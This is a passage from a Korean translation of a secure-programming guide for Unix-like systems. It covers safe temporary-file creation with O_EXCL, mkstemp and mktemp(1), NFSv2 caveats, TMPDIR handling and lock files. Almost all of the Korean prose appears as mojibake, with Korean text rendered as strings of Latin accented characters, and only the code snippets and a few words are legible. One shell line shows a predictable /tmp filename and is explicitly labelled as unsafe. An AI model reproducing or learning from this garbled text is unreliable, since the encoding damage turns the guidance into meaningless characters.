   fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
   free (filename);
 } while (fd == -1);

ºñº¸¾ÈÀûÀÎ tempnam(3) ÇÔ¼ö°¡ »ç¿ëµÇ°í ÀÖÀ½¿¡µµ ºÒ±¸ÇÏ°í º¸¾È ¾àÁ¡¿¡ ´ëóÇϱâ À§ÇØ O_CREAT ¿Í O_EXCL À» »ç¿ëÇÏ¿© ·çÇÁ³»¿¡¼­ wrapped µÊÀ» ÁÖ¸ñÇØ¶ó. ÆÄÀÏ À̸§À» free() ÇÒ Çʿ䰡 ÀÖÀ½À» ÁÖ¸ñÇØ¶ó. ÀÛ¾÷À» ¸¶Ä£ ÈÄ ÆÄÀÏÀ» close() ¹× unlink() ÇØ¾ß ÇÑ´Ù. Ç¥ÁØ C I/O ¶óÀ̺귯¸®¸¦ »ç¿ëÇÏ±æ ¿øÇÑ´Ù¸é ÆÄÀÏ ±â¼úÀÚ¸¦ FILE * ·Î º¯È¯½Ã۱â À§ÇØ "w+b" ¸ðµå·Î fdopen() À» »ç¿ëÇÒ ¼ö ÀÖ´Ù. ÀÌ Á¢±Ù ¹æ¹ýÀº ¿¹Àü NFS °¡ Á¤È®È÷ O_EXCL À» Áö¿øÇÏÁö ¾Ê±â ¶§¹®¿¡ NFS ¹öÀü 2 ¿¡¼­´Â ÀÛµ¿µÇÁö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó. ÇѰ¡Áö Áß¿äÇÏÁö ¾ÊÀº ´ÜÁ¡Àº tempnam ÀÌ ºñº¸¾ÈÀûÀ¸·Î »ç¿ëµÉ ¼ö Àֱ⠶§¹®¿¡ ´Ù¾çÇÑ ÄÄÆÄÀÏ·¯¿Í º¸¾È ½ºÄ³³Ê°¡ ÀÌ »ç¿ë¿¡ ´ëÇØ °¡Â¥ °æ°í¸¦ ÁÙ ¼ö ÀÖÀ½À» ÁÖ¸ñÇØ¶ó. ÀÌ·¯ÇÑ ¹®Á¦´Â mkstemp(3) ¿¡´Â ¾ø´Ù.

½© ½ºÅ©¸³Æ®¿¡¼­ Àӽà ÆÄÀÏÀÌ ÇÊ¿äÇÏ´Ù¸é ÆÄÀÌÇÁ, Áö¿ª µð·ºÅ丮 (¿¹, »ç¿ëÀÚ È¨µð·ºÅ丮 ³»ºÎÀÇ ¾î¶² µð·ºÅ丮) ¶Ç´Â ¾î¶² °æ¿ì¿¡´Â ÇöÀç µð·ºÅ丮¸¦ »ç¿ëÇÏ´Â °ÍÀÌ ¾Æ¸¶ °¡Àå ÁÁ´Ù. ÀÌ·± ¹æ½Ä¿¡¼­´Â »ç¿ëÀÚ°¡ Çã¿ëÇÏÁö ¾Ê´Â´Ù¸é ¾î¶°ÇÑ °øÀ¯ÇÏ´Â °Íµµ ¾ø´Ù. Á¤¸»·Î /tmp ¿Í °°Àº °øÀ¯ µð·ºÅ丮³»¿¡ Àӽà ÆÄÀÏÀ» ¿øÇϰųª/ÇÊ¿äÇÏ´Ù¸é ÅÛÇø´¿¡ ÇÁ·Î¼¼½º id ¸¦ »ç¿ëÇØ¼­ ´ÜÁö ">" °°Àº ÀÏ¹Ý ¿¬»êÀÚ¸¦ »ç¿ëÇÏ¿© ÆÄÀÏÀ» »ý¼ºÇÏ´Â ÀüÅëÀûÀÎ ½© ±â¹ýÀ» »ç¿ëÇÏÁö ¸¶¶ó. ½© ½ºÅ©¸³Æ®°¡ PID ¸¦ ÁöÁ¤Çϱâ À§ÇØ "$$" ¸¦ »ç¿ëÇÒ ¼ö ÀÖÁö¸¸ PID ´Â µ¿ÀÏÇÑ À̸§À» °®´Â ÆÄÀÏ ¶Ç´Â ¸µÅ©¸¦ ¹Ì¸® »ý¼ºÇÒ ¼ö ÀÖ´Â °ø°ÝÀÚ¿¡ ÀÇÇØ ½±°Ô °áÁ¤ ¶Ç´Â ÃßÃøµÉ ¼ö ÀÖ´Ù. µû¶ó¼­ ´ÙÀ½ÀÇ "ÀϹÝÀûÀÎ" ½© ½ºÅ©¸³Æ®´Â ¾ÈÀüÇÏÁö ¾Ê´Ù:

   echo "This is a test" > /tmp/test$$  # DON'T DO THIS.

½© ½ºÅ©¸³Æ®¿¡ Àӽà ÆÄÀÏ ¶Ç´Â µð·ºÅ丮°¡ Çʿ䰡°í À̸¦ /tmp ¹Ø¿¡ ³õ±æ ¿øÇÑ´Ù¸é ½© ½ºÅ©¸³Æ®¿¡¼­ »ç¿ëÇÒ ¸ñÀûÀ¸·Î ¸¸µé¾îÁø mktemp(1) °¡ ¾Æ¸¶µµ ÇØ°áÃ¥ÀÌ´Ù. mktemp(1) °ú mktemp(3) Àº ´Ù¸¥ ÇÔ¼öÀÓÀ» ÁÖ¸ñÇØ¶ó - ¾ÈÀüÇÑ ÇÔ¼ö´Â mktemp(1) ÀÌ´Ù. ¼ÖÁ÷È÷ ÀúÀÚ´Â °øÀ¯ µð·ºÅ丮¿¡ Àӽà ÆÄÀÏÀ» »ý¼ºÇÏ´Â ½© ½ºÅ©¸³Æ®¿¡ Èï¹Ì¸¦ ´À³¢Áö ¾Ê´Â´Ù; ±â¹Ð µð·ºÅ丮¿¡ ÀÌ·¯ÇÑ ÆÄÀÏÀ» »ý¼ºÇϰųª ´ë½Å ÆÄÀÌÇÁ¸¦ »ç¿ëÇÏ´Â °ÍÀÌ ÀϹÝÀûÀ¸·Î ¹Ù¶÷Á÷ÇÏ´Ù. ±×·¯³ª Á¤¸»·Î ÀÌ·¸°Ô ÇÏ°í ½Í´Ù¸é ´ÙÀ½À» »ç¿ëÇØ¶ó; mktemp(1) Àº ÅÛÇø´À» ÃëÇÑ ÈÄ O_EXCL À» »ç¿ëÇØ¼­ ÆÄÀÏ ¶Ç´Â µð·ºÅ丮¸¦ »ý¼ºÇÏ°í ±× À̸§À» ¹ÝȯÇÑ´Ù; ÀÌ´Â O_EXCL À» »ç¿ëÇϱ⠶§¹®¿¡ µð·ºÅ丮°¡ NFS ¹öÀü 2 ¸¦ »ç¿ëÇÏÁö ¾Ê´Â´Ù¸é /tmp °°Àº °øÀ¯ µð·ºÅ丮¿¡ ´ëÇØ ¾ÈÀüÇÑ´Ù. ´ÙÀ½ Bourne ½© ½ºÅ©¸³Æ®¿¡¼­ mktemp(1) À» Á¤È®È÷ »ç¿ëÇÑ ¿¹ÀÌ´Ù; ÀÌ ¿¹´Â mktemp(1) ¸Ç ÆäÀÌÁö¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù:

 # mktemp(1) ÀÇ °£´ÜÇÑ »ç¿ë¿¹·Î ½ºÅ©¸³Æ®°¡ ¾ÈÀüÇÑ Àӽà ÆÄÀÏÀ»
 # ¾òÀ» ¼ö ¾ø´Ù¸é Á¾·áÇÏ´Â ½ºÅ©¸³Æ®ÀÌ´Ù.

   TMPFILE=`mktemp /tmp/$0.XXXXXX` || exit 1
   echo "program output" >> $TMPFILE

  # ¿¡·¯¸¦ ÀâÀ¸·Á°í ÇÏ´Â °æ¿ìÀÇ °£´ÜÇÑ ¿¹:

   TMPFILE=`mktemp -q /tmp/$0.XXXXXX`
   if [ $? -ne 0 ]; then
      echo "$0: Can't create temp file, exiting..."
      exit 1
   fi

óÀ½¿¡ º¸¾ÈÀûÀÎ Àӽà ÆÄÀÏ À̸§À» ¾ò¾ú´Ù°í ÇÏ´õ¶óµµ ÀÌ À̸§À» Àç»ç¿ëÇÏÁö ¸¶¶ó (Á¦°ÅÇÑ ÈÄ ´Ù½Ã »ý¼ºÇضó). °ø°ÝÀÚ°¡ µÎ¹øÂ°·Î À̸¦ Àç»ý¼ºÇϱâ Àü¿¡ ¿ø·¡ ÆÄÀÏ À̸§À» º¸°í ÀÖ´Ù°¡ À̸¦ ³¬¾ÆÃ§ ¼ö ÀÖ´Ù. ¹°·Ð ´Ã ÀûÀýÇÑ ÆÄÀÏ Çã°¡±ÇÀ» »ç¿ëÇØ¶ó. ¿¹¸¦ µé¾î ÆÄÀÏ¿¡ world ¶Ç´Â group Á¢±ÙÀÌ ÇÊ¿äÇÏ´Ù¸é world/group Á¢±Ù¸¸ Çã¿ëÇØ¶ó ±×·¸Áö ¾Ê´Ù¸é 0600 ¸ðµå·Î À¯ÁöÇØ¶ó (Áï, ¼ÒÀ¯ÀÚ¸¸ÀÌ ÀÐ°í ¾µ ¼ö ÀÖ´Ù).

µð·ºÅ丮 ¿£Æ®¸®´Â ¾ø¾îÁöÁö¸¸ À̸¦ °¡¸®Å°°í ÀÖ´Â ¸¶Áö¸· ÆÄÀÏ ±â¼úÀÚ°¡ ´ÝÈú ¶§±îÁö ÆÄÀÏ ÀÚü´Â Á¢±ÙÇÒ ¼ö ÀÖµµ·Ï exit Çڵ鷯¸¦ »ç¿ëÇϰųª À¯´Ð½º ÆÄÀϽýºÅÛ ÀÇ¹Ì Ã¼°è »ç¿ë ¹× »ý¼º ÈÄ Áï°¢ÀûÀ¸·Î ÆÄÀÏÀ» unlink() ÇÔÀ¸·Î½á ½º½º·Î Á¤¸®Çضó. ÆÄÀÏ ±â¼úÀÚ¸¦ °Ç³×ÁÜÀ¸·Î½á ÇÁ·Î±×·¥³»¿¡¼­ À̸¦ °è¼ÓÇØ¼­ Á¢±ÙÇÒ ¼ö Àִµ¥ ÆÄÀÏÀ» unlinking ÇÏ´Â °ÍÀº ÄÚµå À¯Áö º¸¼ö¿¡ ¸¹Àº ÀåÁ¡ÀÌ ÀÖ´Ù: ÇÁ·Î±×·¥ÀÇ Å©·¡½Ã ¿©ºÎ¿¡ »ó°ü¾øÀÌ ÆÄÀÏÀº ÀÚµ¿ÀûÀ¸·Î Áö¿öÁø´Ù. Áï°¢ÀûÀÎ unlinking °ú °ü·ÃµÈ ÇѰ¡Áö »ç¼ÒÇÑ ¹®Á¦´Â °ü¸®ÀÚ°¡ ´Ü¼øÈ÷ À̸§¸¸À¸·Î ÆÄÀϽýºÅÛÀ» Á¶»çÇÒ ¼ö ¾ø±â ¶§¹®¿¡ °ü¸®ÀÚ°¡ ¾ó¸¶³ª ¸¹Àº µð½ºÅ© °ø°£ÀÌ »ç¿ëµÇ°í ÀÖ´ÂÁö º¸´Â °ÍÀ» ¾î·Æ°Ô ÇÑ´Ù´Â °ÍÀÌ´Ù.

À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÇ ÄÚµå´Â TMP ¶Ç´Â TMPDIR ȯ°æº¯¼ö °ªµéÀÇ Á¦°øÀÚ°¡ ½Å·ÚµÈ´Ù¸é À̵éÀ» Ä§ÇØÇÏÁö ¾ÊÀ½À» º¸ÁõÇÏ´Â °ÍÀ» °í·ÁÇÒ ¼ö ÀÖ´Ù. ÀÌ·¸°Ô ÇÔÀ¸·Î½á »ç¿ëÀÚ°¡ ±×µéÀÇ Àӽà ÆÄÀÏÀ» ±×µéÀÇ È¨µð·ºÅ丮³» ÇϺεð·ºÅ丮¿Í °°Àº ºñ°øÀ¯µð·ºÅ丮·Î À̵¿ÇÏ´Â °ÍÀ» °¡´ÉÇÏ°Ô ÇÑ´Ù. ÃÖ±Ù Bastille ¹öÀü¿¡¼­´Â »ç¿ëÀڵ鰣ÀÇ °øÀ¯¸¦ Á¦ÇÑÇϱâ À§ÇØ ÀÌ·¯ÇÑ º¯¼öµéÀ» ¼³Á¤ÇÒ ¼ö ÀÖ´Ù. ºÒÇàÈ÷ ¸¹Àº »ç¿ëÀÚµéÀº TMP ¶Ç´Â TMPDIR À» /tmp ¿Í °°Àº °øÀ¯ µð·ºÅ丮·Î ¼³Á¤Çϴµ¥ µû¶ó¼­ ÀÌ·¯ÇÑ È¯°æ º¯¼ö°¡ ¼³Á¤µÈ´Ù ÇÏ´õ¶óµµ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ Á¤È®È÷ Àӽà ÆÄÀÏÀ» »ý¼ºÇØ¾ß ÇÑ´Ù. ÀÌ´Â GNOME Á¢±Ù ¹æ¹ýÀÇ ÀåÁ¡ ÁßÀÇ Çϳª·Î Àû¾îµµ ¾î¶² ½Ã½ºÅÛ¿¡¼­ tempnam(3) ÀÌ ÀÚµ¿ÀûÀ¸·Î TMPDIR À» »ç¿ëÇÏ´Â ¹Ý¸é mkstemp(3) Á¢±Ù ¹æ¹ýÀº À̸¦ Çϱâ À§ÇØ ´õ¿í ¸¹Àº Äڵ带 ÇÊ¿ä·Î Çϱ⠶§¹®ÀÌ´Ù. Àӽà µð·ºÅ丮¸¦ À§ÇØ ´õ¿í ¸¹Àº ȯ°æ º¯¼öµé (TEMP ¿Í °°Àº) À» »ý¼ºÇÏÁö ¾Ê±â¸¦ ¹Ù¶ó¸ç ƯÈ÷ °¢°¢ÀÇ ¾ÖÇø®ÄÉÀ̼ǿ¡ ´ëÇØ ´Ù¸¥ ȯ°æ À̸§À» »ý¼ºÇÏÁö ¾Ê±â¸¦ ¹Ù¶õ´Ù (¿¹, MYAPP_TEMP ¸¦ »ç¿ëÇÏÁö ¸¶¶ó). ÀÌ·¸°Ô ÇÏ´Â °ÍÀº ½Ã½ºÅÛ °ü¸®¸¦ ±²ÀåÈ÷ º¹ÀâÇÏ°Ô Çϴµ¥ ƯÁ¤ ¾ÖÇø®ÄÉÀ̼ÇÀ» À§ÇØ Æ¯º° Àӽà µð·ºÅ丮¸¦ ¿øÇÏ´Â »ç¿ëÀÚ´Â ±× ¾ÖÇø®ÄÉÀ̼ÇÀ» ¿î¿ëÇÒ ¶§¿¡ ÇÑÇØ ȯ°æ º¯¼ö¸¦ ¼³Á¤ÇÒ ¼ö ÀÖ´Ù. ¹°·Ð ÀÌ·¯ÇÑ È¯°æ º¯¼ö°¡ ½Å·ÚµÇÁö ¾ÊÀº ¼Ò½º¿¡ ÀÇÇØ ¼³Á¤µÈ´Ù¸é À̵éÀ» ¹«½ÃÇØ¾ß ÇÑ´Ù - 4.2.3절 ÀÇ Ãæ°í¸¦ µû¸¥´Ù¸é ¾î¶² ¹æ½ÄÀ¸·Îµç ÇÒ ¼ö ÀÖ´Ù.

ÀÌ·¯ÇÑ ±â¹ýÀº Àӽà µð·ºÅ丮°¡ NFS ¹öÀü 2 (NFSv2) ¸¦ »ç¿ëÇØ¼­ ¿ø°ÝÀûÀ¸·Î ¸¶¿îÆ®µÈ´Ù¸é ÀÛµ¿ÇÏÁö ¾Ê´Âµ¥ NFSv2 °¡ O_EXCL À» ÀûÀýÈ÷ Áö¿øÇÏÁö ¾Ê±â ¶§¹®ÀÌ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 6.8.2.1절 À» º¸¶ó. NFS ¹öÀü 3 ÀÌ»óÀº O_EXCL À» ÀûÀýÈ÷ Áö¿øÇÑ´Ù; °£´ÜÇÑ ÇØ°á ¹æ¹ýÀº Àӽà µð·ºÅ丮°¡ ·ÎÄÃÀ̰ųª NFS ¸¦ »ç¿ëÇØ ¸¶¿îÆ®µÈ °æ¿ì NFS ¹öÀü 3 ÀÌ»óÀ» »ç¿ëÇØ¼­ ¸¶¿îÆ®µÇ´Â Áö¸¦ º¸ÁõÇÏ´Â °ÍÀÌ´Ù. NFS v2 ¿¡¼­ link(2) ¿Í stat(2) ¸¦ »ç¿ëÇÔÀ¸·Î½á ¾ÈÀüÇÏ°Ô Àӽà ÆÄÀÏÀ» »ý¼ºÇÏ´Â ±â¹ýÀÌ ÀÖÁö¸¸ º¹ÀâÇÏ´Ù; ÀÌ¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 6.8.2.1절 À» º¸¶ó.

¿©´ãÀ¸·Î FreeBSD °¡ ÆÄÀÏÀ̸§ÀÇ PID ÄÄÆ÷³ÍÆ® Á¦°Å ¹× Àüü¸¦ base-62 ÀÎÄÚµå randomness ·Î ´ëüÇϱâ À§ÇØ mk*tem() °è¿­ ÇÔ¼ö¸¦ ÃÖ±Ù¿¡ º¯°æÇßÀ½À» ¾ð±ÞÇÏ´Â °ÍÀº °¡Ä¡°¡ ÀÖ´Ù. ÀÌ´Â °ú°¨ÇÏ°Ô 6 X ÀÇ µðÆúÆ® »ç¿ë¹ý¿¡ ´ëÇØ °¡´ÉÇÑ Àӽà ÆÄÀÏÀÇ ¼ö¸¦ Áõ°¡½ÃŰ¸ç ¸Å¿ì ºó¹øÈ÷ »ç¿ëÇÏ´Â °æ¿ì¸¦ Á¦¿ÜÇϰí´Â 6 X ¸¦ °®´Â mktemp(3) °¡ ÃßÃø¿¡ ÇÕ¸®ÀûÀ¸·Î (Åë°èÀûÀ¸·Î) º¸¾ÈÀûÀÓÀ» ÀǹÌÇÑ´Ù. ±×·¯³ª ÀÌ ¹®¼­ÀÇ ÁöħÀ» µû¸¥´Ù¸é ¹®Á¦¸¦ Á¦°ÅÇÒ ¼ö ÀÖ´Ù.

Àӽà ÆÄÀÏ¿¡ ´ëÇÑ ÀÌ Á¤º¸ÀÇ ¸¹Àº ºÎºÐÀº Kris Kennaway's posting to Bugtraq about temporary files on December 15, 2000 ¿¡¼­ À¯·¡ÇÑ´Ù.


6.8.2. ·ÎÅ·

ÇÁ·Î±×·¥ÀÌ ÆÄÀÏ, µð¹ÙÀ̽º ¹×/¶Ç´Â Ưº°ÇÑ ¼­¹ö ÇÁ·Î¼¼½º¿¡ ´ëÇØ À¯ÀÏÇÑ ±ÇÇÑÀ» °®À½À» º¸ÀåÇØ¾ßÇÏ´Â »óȲÀÌ Á¾Á¾ ÀÖ´Ù. ÀÚ¿øÀ» Àá±×´Â ¸ðµç ½Ã½ºÅÛÀº ÇÁ·Î±×·¥ÀÌ ·ÎÅ© (lock) ¸¦ Á¤¸®ÇÏÁö ¸øÇÑ´Ù¸é ·ÎÅ©, ´õ ÀÚ¼¼È÷ ¸»ÇÏ¸é ±³Âø »óÅ (deadlocks("deadly embraces")), livelocks ¿Í releasing "stuck" ·ÎÅ©µéÀÇ Ç¥ÁØÀûÀÎ ¹®Á¦¸¦ ´Ù·ï¾ß ÇÑ´Ù. ±³Âø »óÅ´ ÇÁ·Î±×·¥µéÀÌ ÀÚ¿øµéÀ» ÇØÁ¦Çϱâ À§ÇØ ¼­·Î ±â´Ù¸®¸é¼­ ±³ÂøµÇ¾î ÀÖ´Ù¸é ÀϾ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ±³Âø »óÅ´ ÇÁ·Î¼¼½º 1 ÀÌ ÀÚ¿ø A ¸¦ ·ÎÅ©Çϸç ÀÚ¿ø B ¸¦ ±â´Ù¸®´Â ¹Ý¸é ÇÁ·Î¼¼½º 2 ´Â ÀÚ¿ø B ¸¦ ·ÎÅ©Çϸç ÀÚ¿ø A ¸¦ ±â´Ù¸®°í ÀÖ´Ù¸é ¹ß»ýÇÒ ¼ö ÀÖ´Ù. ¸¹Àº ±³Âø »óÅ´ ´ÙÁß ÀÚ¿øÀ» ·ÎÅ©ÇÏ´Â ¸ðµç ÇÁ·Î¼¼½ºµé¿¡°Ô ±×µéÀ» µ¿ÀÏÇÑ ¼ø¼­ (¿¹, ¾ËÆÄºª À̸§¼øÀ¸·Î) ·Î ·ÎÅ©Çϵµ·Ï ¿ä±¸ÇÔÀ¸·Î½á ¿¹¹æµÉ ¼ö ÀÖ´Ù.


6.8.2.1. ·ÎÅ©·Î¼­ ÆÄÀÏ »ç¿ë

À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ ÀÚ¿ø ·ÎÅ· (Àá±Ý, locking) Àº ÀüÅëÀûÀ¸·Î ·ÎÅ©¸¦ ÁöÁ¤ÇÏ´Â ÆÄÀÏÀ» »ý¼ºÇÔÀ¸·Î½á ÀüÅëÀûÀ¸·Î ÀÌ·ç¾îÁ³´Âµ¥ ÀÌ·¯ÇÑ ¹æ¹ýÀÌ ¸Å¿ì À̽ļºÀÌ ³ô±â ¶§¹®ÀÌ´Ù. ÀÌ´Â °ü¸®ÀÚ°¡ ¾î¶² ·ÎÅ©°¡ ¼³Á¤µÇ¾ú´ÂÁö º¸±â À§ÇØ ´ÜÁö ÆÄÀϽýºÅÛ¸¸ °Ë»çÇÏ¸é µÇ±â ¶§¹®¿¡ ±³ÂøµÈ ·ÎÅ©¸¦ Á¤¸®ÇÏ´Â °ÍÀ» ½±°Ô ÇÑ´Ù. ±³ÂøµÈ ·ÎÅ©´Â ÇÁ·Î±×·¥ÀÌ ½ÇÇà ÈÄ Á¤¸®Çϴµ¥ ½ÇÆÐÇϰųª (¿¹, Å©·¡½Ã ¶Ç´Â ¿À±â´É (malfunctioned)) Àüü ½Ã½ºÅÛÀÌ Á¤ÁöÇ߱⠶§¹®¿¡ ¹ß»ýÇÒ ¼ö ÀÖ´Ù. À̵éÀÌ ±Ç°í (advisory) ·ÎÅ© (°­Á¦ (mandatory) ·ÎÅ©°¡ ¾Æ´Ñ) ÀÓÀ» ÁÖ¸ñÇØ¶ó - ¸ðµç ÇÁ·Î¼¼½º´Â ÀÚ¿øÀÌ ÀÌ·¯ÇÑ ·ÎÅ©¸¦ »ç¿ëÇϱâ À§ÇØ Çù·ÂÇØ¾ß ÇÔÀ» ÇÊ¿ä·ÎÇÑ´Ù.

±×·¯³ª ÇÇÇÒ ¼ö ÀÖ´Â ¸î¸î ¼ÓÀÓ¼ö°¡ ÀÖ´Ù. ù¹øÂ° creat() ÇÔ¼ö È£Ãâ ¶Ç´Â ÆÄÀÏ ¸ðµå¸¦ 0 À¸·Î ¼³Á¤Çϰí (Çã°¡±Ç ¾øÀ½) O_WRONLY | O_CREAT | O_TRUNC open() ¸ðµåÀÎ open() µî°¡ ÇÔ¼ö¸¦ È£ÃâÇÏ´Â À¯´Ð½º C ÇÁ·Î±×·¥ÀÇ ¸Å¿ì ¿À·¡µÈ ±â¹ýÀ» »ç¿ëÇÏÁö ¸¶¶ó. ÀϹÝÀûÀÎ ÆÄÀϽýºÅÛ¿¡¼­ ÀÏ¹Ý »ç¿ëÀÚ¿¡°Ô ÀÌ´Â ÀÛµ¿ÇÏÁö¸¸ »ç¿ëÀÚ°¡ ·çÆ® ±ÇÇÑÀ» °¡Áú ¶§ ÆÄÀÏÀ» ·ÎÅ©ÇÒ ¼ö ¾ø´Ù. ·çÆ®´Â ÆÄÀÏÀÌ ÀÌ¹Ì Á¸ÀçÇÒ ¶§¶óµµ ´Ã ÀÌ ¿¬»êÀ» ¼öÇàÇÒ ¼ö ÀÖ´Ù. »ç½Ç ¿À·¡µÈ À¯´Ð½º ¹öÀüµéÀº ¿À·¡µÈ ¿¡µðÅÍ "ed" ¿¡ ÀÌ·¯ÇÑ Æ¯º°ÇÑ ¹®Á¦¸¦ °®°í ÀÖ´Ù -- Áõ»óÀº ¶§¶§·Î ÆÐ½º¿öµå ÆÄÀÏÀÇ ÀϺκÐÀÌ »ç¿ëÀÚ ÆÄÀϳ»¿¡ ³õÀÏ ¼ö ÀÖ´Â °ÍÀÌ´Ù [Rochkind 1985, 22]. ´ë½Å Áö¿ªÀû ÆÄÀϽýºÅÛ¿¡¼­ ÇÁ·Î¼¼½º¿¡ ´ëÇÑ ·ÎÅ©¸¦ »ý¼ºÇÏ·Á¸é O_WRONLY | O_CREAT | O_EXCL Ç÷¡±×¸¦ °®°í open() À» »ç¿ëÇÒ ¼ö ÀÖ´Ù (µ¿ÀÏÇÑ ¼ÒÀ¯ÀÚÀÇ ´Ù¸¥ ÇÁ·Î¼¼½ºµéÀÌ ·ÎÅ©¸¦ ÇÒ ¼ö ¾øµµ·Ï Çã°¡±ÇÀº ¾ø´Ù). µ¶Á¡ÀûÀÎ ÆÄÀÏÀ» »ý¼ºÇÏ´Â °ø½ÄÀûÀÎ ¹æ½ÄÀÎ O_EXCL ÀÇ »ç¿ëÀ» ÁÖ¸ñÇØ¶ó; ÀÌ´Â ·ÎÄà ÆÄÀϽýºÅÛ¿¡¼­ ·çÆ®¿¡ ´ëÇØ¼­µµ ÀÛ¿ëÇÑ´Ù [Rochkind 1985, 27].

µÎ¹øÂ° ·ÎÅ© ÆÄÀÏÀÌ NFS ·Î ¸¶¿îÆ®µÈ ÆÄÀϽýºÅÛ¿¡ ÀÖ´Ù¸é NFS ¹öÀü 2 °¡ ÀÏ¹Ý ÆÄÀÏ ÀÇ¹Ì Ã¼°è¸¦ ¿Ïº®È÷ Áö¿øÇÏÁö ¾Ê´Â´Ù´Â ¹®Á¦¸¦ °®´Â´Ù. À̴ Ŭ¶óÀÌ¾ðÆ®¿¡ ·ÎÄÃÀ̶ó°í °£ÁֵǴ ÀÛ¾÷¿¡ ´ëÇØ¼­µµ ¹®Á¦°¡ µÇ´Âµ¥ ¾î¶² Ŭ¶óÀÌ¾ðÆ®°¡ ·ÎÄà µð½ºÅ©¸¦ °®Áö ¸øÇÏ°í ¸ðµç ÆÄÀÏÀÌ NFS ¸¦ ÅëÇØ ¿ø°ÝÀûÀ¸·Î ¸¶¿îÆ®µÉ ¼öµµ Àֱ⠶§¹®ÀÌ´Ù. open(2) ¸Þ´º¾óÀº ÀÌ·± °æ¿ì ó¸® ¹æ¹ýÀ» ¼³¸íÇÑ´Ù (·çÆ® ÇÁ·Î±×·¥ÀÇ °æ¿ìµµ ¶ÇÇÑ ´Ù·é´Ù):

""·ÎÅ· ŽºÅ©¸¦ ¼öÇàÇϱâ À§ÇØ [open(2) ÀÇ O_CREAT ¿Í O_EXCL Ç÷¡±×] ¿¡ ÀÇÁ¸ÇÏ´Â ÇÁ·Î±×·¥µéÀº °æÀï »óŸ¦ Æ÷ÇÔÇÒ °ÍÀÌ´Ù. ·ÎÅ©ÆÄÀÏÀ» »ç¿ëÇØ¼­ ¿øÀÚÀû ÆÄÀÏ ·ÎÅ·À» ¼öÇàÇϱâ À§ÇÑ ÇØ°á ¹æ¾ÈÀº µ¿ÀÏ ÆÄÀϽýºÅÛ¿¡¼­ À¯ÀÏÇÑ ÆÄÀÏÀ» »ý¼ºÇϰí (¿¹, È£½ºÆ®³×ÀÓ°ú pid ¸¦ º´ÇÕ), ·ÎÅ©ÆÄÀÏ¿¡ ´ëÇÑ ¸µÅ©¸¦ ¸¸µé±â À§ÇØ link(2) ¸¦ »ç¿ëÇÑ ÈÄ ±× ¸µÅ© Ä«¿îÆ®°¡ 2 ·Î Áõ°¡µÇ¾ú´ÂÁö °Ë»çÇϱâ À§ÇØ À¯ÀÏÇÑ ÆÄÀÏ¿¡ stat(2) ¸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù. link(2) È£ÃâÀÇ ¹Ýȯ°ªÀ» »ç¿ëÇÏÁö ¸¶¶ó" "

¸í¹éÈ÷ ÀÌ ÇØ°á¹æ¾ÈÀº ·ÎÅ·À» ÇÏ´Â ¸ðµç ÇÁ·Î±×·¥ÀÌ Çùµ¿ÇÏ°í ¸ðµç Çùµ¿ÇÏÁö ¾Ê´Â ÇÁ·Î±×·¥µéÀÇ °£¼·ÀÌ Çã¿ëµÇÁö ¾Ê´Â °æ¿ì¿¡¸¸ ÀÛ¿ëÇÑ´Ù. ƯÈ÷ ÆÄÀÏ ·ÎÅ·À» À§ÇØ »ç¿ëÇϰí ÀÖ´Â µð·ºÅ丮´Â ÆÄÀÏ »ý¼º ¹× Á¦°Å¸¦ À§ÇÑ Çã¿ëµÈ ÆÄÀÏ Çã°¡±ÇÀ» °¡Á®¼­´Â ¾ÈµÈ´Ù.

NFS ¹öÀü 3 Àº open(2) ¿¡ O_EXCL ¸ðµå¿¡ ´ëÇÑ Áö¿øÀÌ Ãß°¡ÇÏ¿´´Ù; IEFT RFC 1813 À» º¸¶ó ƯÈ÷ "CREATE" ÀÇ "mode" Àμö¿¡ ´ëÇÑ "EXCLUSIVE" °ªÀ» º¸¶ó. ½½ÇÁ°Ôµµ ¸ðµç »ç¶÷ÀÌ ÀÌ ¹®¼­¸¦ ÀÛ¼ºÇÏ´Â ½ÃÁ¡¿¡ NFS ¹öÀü 3 ÀÌ»óÀ¸·Î ÀüȯÇÏÁö ¾Ê¾ÒÀ¸¸ç µû¶ó¼­ À̽ļºÀÖ´Â ÇÁ·Î±×·¥¿¡¼­´Â ¾ÆÁ÷±îÁö ÀÌ¿¡ ÀÇÁ¸ÇÒ ¼ö ¾ø´Ù. °á±¹Àº ÀÌ ¹®Á¦´Â ¾ø¾îÁú °ÍÀÌ´Ù.

µð¹ÙÀ̽º ¶Ç´Â ·ÎÄà ¸Ó½Å¿¡¼­ ÇÁ·Î¼¼½ºÀÇ Á¸À縦 ·ÎÅ·ÇÏ·Á¸é Ç¥ÁØÀûÀÎ ÇÕÀǸ¦ »ç¿ëÇϵµ·Ï ÇØ¶ó. ÀúÀÚ´Â FHS ¸¦ »ç¿ëÇϱ⸦ ÃßõÇÑ´Ù; ÀÌ´Â ¸®´ª½º ½Ã½ºÅÛ¿¡ ÀÇÇØ ³Î¸® ÂüÁ¶µÇ°í ÀÖÀ¸¸ç ¶ÇÇÑ ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÇ °³³äÀ» º´ÇÕÇÏ·Á°í Çϰí ÀÖ´Ù. FHS ´Â ÆÄÀϵ鿡 ´ëÇÑ ÆÄÀÏ ³×À̹Ö, À§Ä¡ ¹× Ç¥ÁØ ÄÁÅÙÃ÷¸¦ Æ÷ÇÔÇØ¼­ ÆÄÀÏ ·ÎÅ· µî¿¡ ´ëÇØ Ç¥ÁØÀûÀÎ ÇÕÀǸ¦ ±â¼úÇÑ´Ù [FHS 1997]. ¼­¹ö°¡ ÁÖ¾îÁø ¸Ó½Å¿¡¼­ Çѹø ÀÌ»ó ½ÇÇàµÇÁö ¾Ê¾ÒÀ½À» È®ÀÎÇÏ·Á ÇÑ´Ù¸é º¸Åë ÄÁÅÙÃ÷¿Í °°ÀÌ pid ¸¦ °®´Â /var/run/NAME.pid ÇÁ·Î¼¼½º ½Äº°ÀÚ¸¦ 